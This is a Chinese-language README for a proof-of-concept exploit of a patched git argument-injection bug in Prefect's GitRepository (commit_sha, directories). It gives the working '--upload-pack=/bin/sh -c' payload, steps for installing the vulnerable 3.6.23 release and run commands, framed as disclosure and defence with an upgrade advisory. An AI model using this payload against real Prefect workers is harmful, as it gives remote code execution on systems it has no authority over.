commit_sha 导致 RCE 的 git 参数注入(以及通过 directories 的参数注入)src/prefect/runner/storage.py这是一个针对已披露并修补的漏洞(在 Prefect 3.6.25 中修复)的概念验证,出于教育和防御验证目的发布。仅在您拥有或有权测试的软件和系统上运行它。如果您运行 Prefect,请升级到 3.6.25 或更高版本。
| 文件 | 用途 |
|---|---|
poc.py | 针对易受攻击的安装运行两个注入向量,并报告哪个向量实现代码执行 |
run_offline.sh | 无网络运行器:构建本地 file:// 仓库并驱动 poc.py 针对它(观察 RCE 触发的可靠方式) |
在 src/prefect/runner/storage.py 中:
# 第 174 行
if branch and commit_sha:
raise ValueError(...)
# 第 181 行
self._commit_sha = commit_sha # 无任何验证
...
self._directories = directories
注入点(3.6.23 行号):
commit_sha:
pull_code() ~379:["git", "fetch", "origin", self._commit_sha]pull_code() ~391:["git", "checkout", self._commit_sha]_clone_repo() ~475:["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480:["git", "checkout", self._commit_sha]directories:
pull_code() ~360:["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:["git", "sparse-checkout", "set", *self._directories]
(无 -- 分隔符)在 commit_sha 路径上,--upload-pack=<program> 被 git fetch/git checkout 解释为用于连接的打包程序,因此该程序在工作机器上本地执行。这已通过端到端验证(参见下方“验证结果”)。
directories 路径是真正的参数注入,但并非通过 --upload-pack 实现 RCE 的向量:git sparse-checkout set 是一个本地命令,没有 --upload-pack 选项,因此有效载荷被作为未知标志拒绝。这种不对称性也体现在上游修复中:commit_sha 被严格拒绝,而带 -- 前缀的 directories 条目仅触发警告。
核心是 commit_sha 向量上的 git 参数注入技巧。
无验证。 在 3.6.23 中,commit_sha 值被原样存储(storage.py:181),除了 branch/commit_sha 互斥检查外没有其他检查。任何字符串都被接受。
它出现在 git 参数位置。 当 Prefect 拉取代码(pull_code() 然后 _clone_repo())时,该值被放置在 git 参数列表中:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
这是一个参数列表(无 shell),因此不存在 shell 注入。缺陷在于攻击者控制的值之前没有 -- 分隔符。
--upload-pack 被解析为选项,而非参数。 git 将任何以 - 开头的内容视为选项,除非前面有 -- 分隔符。有效载荷:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
将命令变为:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program> 是 git fetch/clone/ls-remote 的合法选项:它指定 git 运行以提供打包的程序。当远程是本地(file://)或通过 SSH/本地传输访问时,git 在本地机器上执行该程序。
/bin/sh -c '...' 来代替真正的 git-upload-pack 辅助程序,因此攻击者的命令在 Prefect worker 上运行。git 随后失败(sh 不提供 git 协议),但副作用(代码执行)已经发生,这就是 PoC 忽略产生的异常而仅检查标记文件的原因。为什么预测试清理很重要。 如果目标目录已存在 .git,Prefect 会走“更新现有仓库”路径。删除它会强制走完整的 _clone_repo() 路径,该路径具有最直接的 fetch origin <value> + checkout <value> 调用,是最好的注入点。
为什么 directories 不能实现 RCE。 该值会出现在 git sparse-checkout set <value> 中,这是一个本地命令,没有 --upload-pack 选项,因此 git 会拒绝该有效载荷作为一个未知标志。它仍然是真正的参数注入,但使用此有效载荷并非 RCE 向量。
修复(3.6.25)。 commit_sha 必须匹配 ^[0-9a-fA-F]{4,64}$,因此 --upload-pack=... 有效载荷会在构造时被 ValueError: Invalid commit SHA 拒绝。对于 directories,修复在 git 命令中添加了 -- 分隔符(值不再能被读取为选项)以及一个警告。
prefect==3.6.23GitRepository(..., commit_sha=..., directories=...).pull_code() 触发commit_sha 在 GitRepository(...) 构造时被拒绝python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
或者从源码在确切的易受攻击标签处安装:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
可靠、自包含的方式(构建本地 file:// 仓库并运行两个向量):
./run_offline.sh
# 或指定特定解释器:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
您也可以直接驱动 poc.py:
python poc.py # 默认 https 目标
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # 本地仓库
重要提示:git 只在本地和 ssh 传输中接受 --upload-pack。针对默认的 https 远程,有效载荷无效,因此即使是在易受攻击的 3.6.23 上,python poc.py 也不会报告标记文件。使用 run_offline.sh(或 file:// / ssh POC_TARGET_REPO)以实际触发 RCE。
该脚本在每个向量之前进行积极的清理(force_clean_destination),从而可靠地命中克隆路径(_clone_repo),该路径执行以下操作:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
这些命中 fetch / checkout 和 sparse-checkout set 中的原始参数位置。
端到端复现,完全离线(通过 run_offline.sh 使用本地 file:// 裸仓库),在 Python 3.12 上:
| 版本 | commit_sha | directories |
|---|---|---|
| 3.6.23(易受攻击) | 实现 RCE:在 git fetch origin <payload> 期间写入标记文件 | 无标记文件:sparse-checkout set 拒绝 --upload-pack 标志 |
| 3.6.25(已修补) | 无效:在 GitRepository(...) 构造时抛出 ValueError: Invalid commit SHA ... | 无标记文件:-- 分隔符 + 警告 |
观察到的易受攻击运行标记文件内容:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
在修补后的安装中,恶意对象在构造时失败,在任何 git 运行之前:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
一个带 -- 前缀的 directories 条目仅会触发警告(真正的保护是在 git 命令中添加的 -- 分隔符)。
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6d请负责任地使用(当然!!!:PpPPpp)并且仅用于您控制的系统 :-)